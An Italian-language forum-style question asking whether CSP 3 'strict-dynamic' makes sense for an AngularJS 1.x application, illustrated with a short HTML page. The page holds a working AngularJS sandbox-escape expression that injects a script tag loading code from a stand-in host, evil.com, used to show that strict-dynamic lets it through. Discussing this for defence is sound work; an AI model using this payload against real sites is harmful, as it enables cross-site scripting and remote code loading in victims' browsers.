Non vedo il punto nell'usare il nuovo strict-dynamic
di CSP 3 nel caso di un'applicazione 1.x di AngularJS.
Per quanto ne so, l'utilizzo di strict-dynamic
consente comunque l'iniezione arbitraria di Javascript tramite l'escape di una sandbox in un modello:
<html>
<head>
<title>Angular - Alert in Expression</title>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js"></script></head><bodyng-app="" ng-csp>
<div>{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,a=document.createElement("script"),a.src="https://evil.com/evil.js",a.type="text/javascript",a=document.getElementsByTagName("head")[0].appendChild(a),a')}}</div>
</body>
</html>
La cosa peggiore è che l'iniezione di script sopra è consentita da strict-dynamic
, mentre un CSP% basato su host ragionevolescript-src
lo bloccherebbe.
Quindi, c'è qualche ragione per usare strict-dynamic
su un'applicazione che usa AngularJS?